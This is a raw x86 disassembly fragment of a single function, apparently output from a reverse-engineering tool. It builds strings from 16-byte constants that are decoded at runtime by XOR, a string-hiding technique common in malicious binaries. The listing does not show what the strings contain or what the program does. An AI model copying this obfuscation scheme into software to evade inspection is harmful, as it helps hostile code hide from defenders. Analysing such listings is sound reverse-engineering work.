mov ecx, dword [ebp - 0x3f4]
mov dword [ebp - 0x3fc], ecx
mov edx, dword [ebp - 0x3f8]
push edx
mov eax, dword [ebp - 0x3fc]
push eax
lea ecx, [ebp - 0xa00]
push ecx
call fcn.00418470
add esp, 0xc
mov byte [ebp - 4], 0x41
lea ecx, [ebp - 0xf00]
call fcn.00415fd0
mov byte [ebp - 4], 0x40
lea edx, [ebp - 0xf00]
mov dword [ebp - 0x908], edx
mov byte [ebp - 4], 0x42
mov byte [ebp - 4], 0x43
mov byte [ebp - 4], 0x40
mov byte [ebp - 4], 0x45
lea ecx, [ebp - 0xf18]
call fcn.00415fd0
mov byte [ebp - 4], 0x44
lea eax, [ebp - 0xf18]
mov dword [ebp - 0x90c], eax
mov byte [ebp - 4], 0x46
mov byte [ebp - 4], 0x47
mov byte [ebp - 4], 0x44
mov byte [ebp - 4], 0x49
lea ecx, [ebp - 0xf30]
call fcn.00415fd0
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0xf30]
mov dword [ebp - 0x910], ecx
mov byte [ebp - 4], 0x4a
mov byte [ebp - 4], 0x4b
mov byte [ebp - 4], 0x48
mov byte [ebp - 4], 0x4d
lea ecx, [ebp - 0xf48]
call fcn.00415fd0
mov byte [ebp - 4], 0x4c
lea edx, [ebp - 0xf48]
mov dword [ebp - 0x914], edx
mov byte [ebp - 4], 0x4e
mov byte [ebp - 4], 0x4f
mov byte [ebp - 4], 0x4c
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0xf60]
call fcn.00415fd0
mov byte [ebp - 4], 0x50
lea eax, [ebp - 0xf60]
mov dword [ebp - 0x94c], eax
mov byte [ebp - 4], 0x52
mov byte [ebp - 4], 0x53
mov byte [ebp - 4], 0x50
mov byte [ebp - 4], 0x55
lea ecx, [ebp - 0x9b8]
call fcn.00415fd0
mov byte [ebp - 4], 0x54
lea ecx, [ebp - 0x9b8]
mov dword [ebp - 0x91c], ecx
mov byte [ebp - 4], 0x56
mov byte [ebp - 4], 0x57
mov byte [ebp - 4], 0x54
lea ecx, [ebp - 0xa00]
call fcn.00412710
mov dword [ebp - 0x400], eax
push 0
mov edx, dword [ebp - 0x400]
push edx
mov ecx, dword [0x489514]
call fcn.004056b0
xor eax, eax
mov byte [ebp - 0x7a], al
xor ecx, ecx
mov byte [ebp - 0x7b], cl
xor edx, edx
mov byte [ebp - 0x7c], dl
mov al, byte [ebp - 0x7a]
mov byte [ebp - 0x1b8], al
mov cl, byte [ebp - 0x7b]
mov byte [ebp - 0x1bc], cl
mov dl, byte [ebp - 0x7c]
mov byte [ebp - 0x1c0], dl
mov eax, 0xc12e8786
mov dword [ebp - 0x690], 0xe455e0fd
mov dword [ebp - 0x68c], eax
mov ecx, 0x8b2d0816
mov dword [ebp - 0x688], 0xd84b53ee
mov dword [ebp - 0x684], ecx
mov edx, 0x842f280c
mov dword [ebp - 0x680], 0x432f368f
mov dword [ebp - 0x67c], edx
mov eax, 0x2c729017
mov dword [ebp - 0x678], 0xcf26fe18
mov dword [ebp - 0x674], eax
mov ecx, 0xa25da8a6
mov dword [ebp - 0x870], 0xc612acdd
mov dword [ebp - 0x86c], ecx
mov edx, 0xc5624f59
mov dword [ebp - 0x868], 0x94051cce
mov dword [ebp - 0x864], edx
mov eax, 0xc366602c
mov dword [ebp - 0x860], 0x2f5d19af
mov dword [ebp - 0x85c], eax
mov ecx, 0x2c729017
mov dword [ebp - 0x858], 0x9b75bb50
mov dword [ebp - 0x854], ecx
xor edx, edx
mov byte [ebp - 0x7d], dl
mov al, byte [ebp - 0x7d]
mov byte [ebp - 0x1c4], al
movaps xmm0, xmmword [ebp - 0x870]
movaps xmmword [ebp - 0xce0], xmm0
movaps xmm0, xmmword [ebp - 0x690]
movaps xmmword [ebp - 0xcd0], xmm0
movaps xmm0, xmmword [ebp - 0xcd0]
xorps xmm0, xmmword [ebp - 0xce0]
movaps xmmword [ebp - 0xcf0], xmm0
movaps xmm0, xmmword [ebp - 0xcf0]
movaps xmmword [ebp - 0x690], xmm0
lea ecx, [ebp - 0x680]
mov dword [ebp - 0x2a8], ecx
movaps xmm0, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xd10], xmm0
mov edx, dword [ebp - 0x2a8]
movups xmm0, xmmword [edx]
movaps xmmword [ebp - 0xd00], xmm0
movaps xmm0, xmmword [ebp - 0xd00]
xorps xmm0, xmmword [ebp - 0xd10]
movaps xmmword [ebp - 0xd20], xmm0
movaps xmm0, xmmword [ebp - 0xd20]
mov eax, dword [ebp - 0x2a8]
movups xmmword [eax], xmm0
lea ecx, [ebp - 0x690]
mov dword [ebp - 0x454], ecx
xor edx, edx
mov byte [ebp - 0x7e], dl
xor eax, eax
mov byte [ebp - 0x7f], al
xor ecx, ecx
mov byte [ebp - 0x80], cl
mov dl, byte [ebp - 0x7e]
mov byte [ebp - 0x1c8], dl
mov al, byte [ebp - 0x7f]
mov byte [ebp - 0x1cc], al
mov cl, byte [ebp - 0x80]
mov byte [ebp - 0x1d0], cl
mov edx, 0xa27f88c8
mov dword [ebp - 0x5a0], 0xb23d8cff
mov dword [ebp - 0x59c], edx
mov eax, 0xc5624f59
mov dword [ebp - 0x598], 0x94051cce
mov dword [ebp - 0x594], eax
mov ecx, 0xa25da8a6
mov dword [ebp - 0x730], 0xc612acdd
mov dword [ebp - 0x72c], ecx
mov edx, 0xc5624f59
mov dword [ebp - 0x728], 0x94051cce
mov dword [ebp - 0x724], edx
xor eax, eax
mov byte [ebp - 0x81], al
mov cl, byte [ebp - 0x81]
mov byte [ebp - 0x1d4], cl
movaps xmm0, xmmword [ebp - 0x730]
movaps xmmword [ebp - 0xed0], xmm0
movaps xmm0, xmmword [ebp - 0x5a0]
movaps xmmword [ebp - 0xd30], xmm0
movaps xmm0, xmmword [ebp - 0xd30]
xorps xmm0, xmmword [ebp - 0xed0]
movaps xmmword [ebp - 0xd50], xmm0
movaps xmm0, xmmword [ebp - 0xd50]
movaps xmmword [ebp - 0x5a0], xmm0
lea edx, [ebp - 0x5a0]
mov dword [ebp - 0x43c], edx
xor eax, eax
mov byte [ebp - 0x82], al
xor ecx, ecx
mov byte [ebp - 0x83], cl
xor edx, edx
mov byte [ebp - 0x84], dl
mov al, byte [ebp - 0x82]
mov byte [ebp - 0x1d8], al
mov cl, byte [ebp - 0x83]
mov byte [ebp - 0x1dc], cl
mov dl, byte [ebp - 0x84]
mov byte [ebp - 0x1e0], dl
mov eax, 0xa27f88d4
mov dword [ebp - 0x5b0], 0xb23d8cff
mov dword [ebp - 0x5ac], eax
mov ecx, 0xc5624f59
mov dword [ebp - 0x5a8], 0x94051cce
mov dword [ebp - 0x5a4], ecx
mov edx, 0xa25da8a6
mov dword [ebp - 0x740], 0xc612acdd
mov dword [ebp - 0x73c], edx
mov eax, 0xc5624f59
mov dword [ebp - 0x738], 0x94051cce
mov dword [ebp - 0x734], eax
xor ecx, ecx
mov byte [ebp - 0x85], cl
mov dl, byte [ebp - 0x85]
mov byte [ebp - 0x1e4], dl
movaps xmm0, xmmword [ebp - 0x740]
movaps xmmword [ebp - 0xd70], xmm0
movaps xmm0, xmmword [ebp - 0x5b0]
movaps xmmword [ebp - 0xd60], xmm0
movaps xmm0, xmmword [ebp - 0xd60]
xorps xmm0, xmmword [ebp - 0xd70]
movaps xmmword [ebp - 0xd80], xmm0
movaps xmm0, xmmword [ebp - 0xd80]
movaps xmmword [ebp - 0x5b0], xmm0
lea eax, [ebp - 0x5b0]
mov dword [ebp - 0x424], eax
lea ecx, [ebp - 0x970]
mov dword [ebp - 0x404], ecx
mov ecx, dword [ebp - 0x404]
call fcn.0041d6d0
mov byte [ebp - 4], 0x58
mov byte [ebp - 4], 0x59
lea edx, [ebp - 0x1188]
mov dword [ebp - 0xd4], edx
mov eax, dword [ebp - 0xd4]
add eax, 1
mov dword [ebp - 0x408], eax
mov ecx, dword [ebp - 0xd4]
mov dl, byte [ecx]
mov byte [ebp - 0x86], dl
add dword [ebp - 0xd4], 1
cmp byte [ebp - 0x86], 0
jne 0x4083ba
mov eax, dword [ebp - 0xd4]
sub eax, dword [ebp - 0x408]
mov dword [ebp - 0x40c], eax
mov ecx, dword [ebp - 0x40c]
push ecx
lea edx, [ebp - 0x1188]
push edx
lea ecx, [ebp - 0x970]
call fcn.00419b30
mov byte [ebp - 4], 0x54
lea eax, [ebp - 0x970]
mov dword [ebp - 0x410], eax
mov byte [ebp - 4], 0x5a
mov ecx, dword [ebp - 0x410]
mov dword [ebp - 0x414], ecx
xor edx, edx
mov byte [ebp - 0x87], dl
xor eax, eax
mov byte [ebp - 0x88], al
xor ecx, ecx
mov byte [ebp - 0x89], cl
mov dl, byte [ebp - 0x87]
mov byte [ebp - 0x1e8], dl
mov al, byte [ebp - 0x88]
mov byte [ebp - 0x1ec], al
mov cl, byte [ebp - 0x89]
mov byte [ebp - 0x1f0], cl
mov edx, 0xd136dbc7
mov dword [ebp - 0x670], 0xb27acfae
mov dword [ebp - 0x66c], edx
mov eax, 0xa0162e3c
mov dword [ebp - 0x668], 0xe66633ee
mov dword [ebp - 0x664], eax
mov ecx, 0xe3333203
mov dword [ebp - 0x660], 0xf3b368f
mov dword [ebp - 0x65c], ecx
mov edx, 0x2c729017
mov dword [ebp - 0x658], 0x9b75bb72
mov dword [ebp - 0x654], edx
mov eax, 0xa25da8a6
mov dword [ebp - 0x890], 0xc612acdd
mov dword [ebp - 0x88c], eax
mov ecx, 0xc5624f59
mov dword [ebp - 0x888], 0x94051cce
mov dword [ebp - 0x884], ecx
mov edx, 0xc366602c
mov dword [ebp - 0x880], 0x2f5d19af
mov dword [ebp - 0x87c], edx
mov eax, 0x2c729017
mov dword [ebp - 0x878], 0x9b75bb50
mov dword [ebp - 0x874], eax
xor ecx, ecx
mov byte [ebp - 0x8a], cl
mov dl, byte [ebp - 0x8a]
mov byte [ebp - 0x1f4], dl
movaps xmm0, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0xda0], xmm0
movaps xmm0, xmmword [ebp - 0x670]
movaps xmmword [ebp - 0xd90], xmm0
movaps xmm0, xmmword [ebp - 0xd90]
xorps xmm0, xmmword [ebp - 0xda0]
movaps xmmword [ebp - 0xdb0], xmm0
movaps xmm0, xmmword [ebp - 0xdb0]
movaps xmmword [ebp - 0x670], xmm0
lea eax, [ebp - 0x660]
mov dword [ebp - 0x2ac], eax
movaps xmm0, xmmword [ebp - 0x880]
movaps xmmword [ebp - 0xdd0], xmm0
mov ecx, dword [ebp - 0x2ac]
movups xmm0, xmmword [ecx]
movaps xmmword [ebp - 0xdc0], xmm0
movaps xmm0, xmmword [ebp - 0xdc0]
xorps xmm0, xmmword [ebp - 0xdd0]
movaps xmmword [ebp - 0xde0], xmm0
movaps xmm0, xmmword [ebp - 0xde0]
mov edx, dword [ebp - 0x2ac]
movups xmmword [edx], xmm0
lea eax, [ebp - 0x670]
mov dword [ebp - 0x418], eax
mov ecx, dword [ebp - 0x414]
push ecx
mov edx, dword [ebp - 0x418]
push edx
lea eax, [ebp - 0xfd8]
push eax
call fcn.00418310
add esp, 0xc
mov dword [ebp - 0x41c], eax
mov ecx, dword [ebp - 0x41c]
mov dword [ebp - 0x420], ecx
mov byte [ebp - 4], 0x5b
mov edx, dword [ebp - 0x420]
mov dword [ebp - 0x428], edx
mov eax, dword [ebp - 0x424]
push eax
mov ecx, dword [ebp - 0x428]
push ecx
lea edx, [ebp - 0xfc0]
push edx
call fcn.00418470
add esp, 0xc
mov dword [ebp - 0x42c], eax
mov eax, dword [ebp - 0x42c]
mov dword [ebp - 0x430], eax
mov byte [ebp - 4], 0x5c
lea ecx, [ebp - 0x474]
push ecx
mov edx, dword [ebp - 0x430]
push edx
lea eax, [ebp - 0xfa8]
push eax
call fcn.00418500
add esp, 0xc
mov dword [ebp - 0x434], eax
mov ecx, dword [ebp - 0x434]
mov dword [ebp - 0x438], ecx
mov byte [ebp - 4], 0x5d
mov edx, dword [ebp - 0x438]
mov dword [ebp - 0x440], edx
mov eax, dword [ebp - 0x43c]
push eax
mov ecx, dword [ebp - 0x440]
push ecx
lea edx, [ebp - 0xf90]
push edx
call fcn.00418470
add esp, 0xc
mov dword [ebp - 0x444], eax
mov eax, dword [ebp - 0x444]
mov dword [ebp - 0x448], eax
mov byte [ebp - 4], 0x5e
push 0x489574
mov ecx, dword [ebp - 0x448]
push ecx
lea edx, [ebp - 0xf78]
push edx
call fcn.00418500
add esp, 0xc
mov dword [ebp - 0x44c], eax
mov eax, dword [ebp - 0x44c]
mov dword [ebp - 0x450], eax
mov byte [ebp - 4], 0x5f
mov ecx, dword [ebp - 0x450]
mov dword [ebp - 0x458], ecx
mov edx, dword [ebp - 0x454]
push edx
mov eax, dword [ebp - 0x458]
push eax
lea ecx, [ebp - 0x9e8]
push ecx
call fcn.00418470
add esp, 0xc
mov byte [ebp - 4], 0x62
lea ecx, [ebp - 0xf78]
call fcn.00415fd0
mov byte [ebp - 4], 0x61
lea edx, [ebp - 0xf78]
mov dword [ebp - 0x920], edx
mov byte [ebp - 4], 0x63
mov byte [ebp - 4], 0x64
mov byte [ebp - 4], 0x61
mov byte [ebp - 4], 0x66
lea ecx, [ebp - 0xf90]
call fcn.00415fd0
mov byte [ebp - 4], 0x65
lea eax, [ebp - 0xf90]
mov dword [ebp - 0x924], eax
mov byte [ebp - 4], 0x67
mov byte [ebp - 4], 0x68
mov byte [ebp - 4], 0x65
mov byte [ebp - 4], 0x6a
lea ecx, [ebp - 0xfa8]
call fcn.00415fd0
mov byte [ebp - 4], 0x69
lea ecx, [ebp - 0xfa8]
mov dword [ebp - 0x928], ecx
mov byte [ebp - 4], 0x6b
mov byte [ebp - 4], 0x6c
mov byte [ebp - 4], 0x69
mov byte [ebp - 4], 0x6e
lea ecx, [ebp - 0xfc0]
call fcn.00415fd0
mov byte [ebp - 4], 0x6d
lea edx, [ebp - 0xfc0]
mov dword [ebp - 0x92c], edx
mov byte [ebp - 4], 0x6f
mov byte [ebp - 4], 0x70
mov byte [ebp - 4], 0x6d
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0xfd8]
call fcn.00415fd0
mov byte [ebp - 4], 0x71
lea eax, [ebp - 0xfd8]
mov dword [ebp - 0x930], eax
mov byte [ebp - 4], 0x73
mov byte [ebp - 4], 0x74
mov byte [ebp - 4], 0x71
mov byte [ebp - 4], 0x76
lea ecx, [ebp - 0x970]
call fcn.00415fd0
mov byte [ebp - 4], 0x75
lea ecx, [ebp - 0x970]
mov dword [ebp - 0x934], ecx
mov byte [ebp - 4], 0x77
mov byte [ebp - 4], 0x78
mov byte [ebp - 4], 0x75
lea ecx, [ebp - 0x9e8]
call fcn.00412710
mov dword [ebp - 0x45c], eax
push 0
mov edx, dword [ebp - 0x45c]
push edx
mov ecx, dword [0x489514]
call fcn.004056b0
mov byte [ebp - 4], 0x79
lea ecx, [ebp - 0x9e8]
call fcn.00415fd0
mov byte [ebp - 4], 0x54
lea eax, [ebp - 0x9e8]
mov dword [ebp - 0x938], eax
mov byte [ebp - 4], 0x7a
mov byte [ebp - 4], 0x7b
mov byte [ebp - 4], 0x54
mov byte [ebp - 4], 0x7c
lea ecx, [ebp - 0xa00]
call fcn.00415fd0
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0xa00]
mov dword [ebp - 0x93c], ecx
mov byte [ebp - 4], 0x7d
mov byte [ebp - 4], 0x7e
mov byte [ebp - 4], 0x35
mov byte [ebp - 4], 0x7f
lea ecx, [ebp - 0x474]
call fcn.00415fd0
mov byte [ebp - 4], 0x2e
lea edx, [ebp - 0x474]
mov dword [ebp - 0x940], edx
mov byte [ebp - 4], 0x80
mov byte [ebp - 4], 0x81
mov byte [ebp - 4], 0x2e
mov byte [ebp - 4], 0x82
lea ecx, [ebp - 0x610]
call fcn.00415fd0
mov byte [ebp - 4], 0
lea eax, [ebp - 0x610]
mov dword [ebp - 0x944], eax
mov byte [ebp - 4], 0x83
mov byte [ebp - 4], 0x84
mov byte [ebp - 4], 0
and dword [ebp - 0x14], 0xfffffffb
mov dword [ebp - 4], 0x85
lea ecx, [ebp - 0x8c0]
call fcn.00415fd0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x8c0]
mov dword [ebp - 0x8e0], ecx
mov dword [ebp - 4], 0x86
mov dword [ebp - 4], 0x87
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret